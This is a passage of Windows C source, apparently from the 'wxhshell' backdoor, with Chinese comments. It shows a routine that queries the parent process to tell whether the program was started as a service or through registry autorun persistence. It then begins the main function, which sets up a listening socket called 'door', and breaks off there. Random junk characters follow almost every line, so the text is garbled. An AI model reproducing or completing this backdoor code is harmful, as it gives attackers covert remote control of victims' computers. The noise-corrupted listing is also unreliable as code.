ULONG InheritedFromUniqueProcessId; +w7U7"
xQ
} PROCESS_BASIC_INFORMATION; |2=@8_am
|@~_&g
PROCNTQSIP NtQueryInformationProcess; )Ii`/I^
fk9q 3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -G~/ GO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }d>Xh8:%)
D@O5G d
HANDLE hProcess; _#1EbvO*l
PROCESS_BASIC_INFORMATION pbi; 5NC77}^.
tDavp:M1v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3:G$Y:#P
if(NULL == hInst ) return 0; ,6X__Z#rGT
NJSbS<O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o:&8H>(hn]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xkRS?Q g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +p`BoF9~
q{_ f"
if (!NtQueryInformationProcess) return 0; C4qK52'2s
spTz}p^\O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +'Y?K]zbt
if(!hProcess) return 0; '7}2}KD
q7rb3d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Td|u-9OM
Rc3!u^?u
CloseHandle(hProcess); 4x}U+1B
cIQbu#[@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8AuE:=?,,
if(hProcess==NULL) return 0; 9Zj3 "v+b
eXD~L&s[
HMODULE hMod; ce#Iu#qT
char procName[255]; 3~7!=s\v
unsigned long cbNeeded; <;yS&8
QVJpX;u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q"D5D
rj
'&hd^9]Lo
CloseHandle(hProcess); d"IZt;s/,
Phk3Jv
if(strstr(procName,"services")) return 1; // 以服务启动 2 S~( P
2@lGY_O!m
return 0; // 注册表启动 !*L)v
} $U.|
x`FTy&g
// 主模块 + kT ]qH
int StartWxhshell(LPSTR lpCmdLine) pdR\Ne0P*
{ @87Y/_l
SOCKET wsl; W!R0:-
BOOL val=TRUE; :<bhQY
int port=0; |O6/p7+.
struct sockaddr_in door; KO7&